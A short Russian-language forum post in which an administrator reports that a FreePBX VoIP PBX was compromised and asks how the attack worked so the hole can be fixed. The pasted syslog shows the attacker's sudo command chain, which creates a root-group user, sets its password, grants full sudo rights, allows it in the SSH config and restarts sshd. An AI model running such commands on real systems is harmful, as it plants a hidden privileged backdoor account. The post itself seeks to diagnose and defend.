Всем привет! Ломанули VOIP атс на базе FreePBX (я конечно понимаю что система так скажем не самая безопасная) хотелось бы понять как они это сделали,чтоб исправить уязвимость.
Aug 29 23:42:27 localhost sudo: asterisk : TTY=unknown ; PWD=/var/www/html/admin ; USER=root ; COMMAND=/usr/bin/script -c adduser -g 0 -l -M demon; echo «demon:cacamaka» | chpasswd; echo «demon ALL=(ALL) ALL» >> /etc/sudoers; echo «AllowUsers root demon» >> /etc/ssh/sshd_config; service sshd restart; Aug 29 23:42:28 localhost useradd[11169]: new user: name=demon, UID=500, GID=0, home=/home/demon, shell=/bin/bash
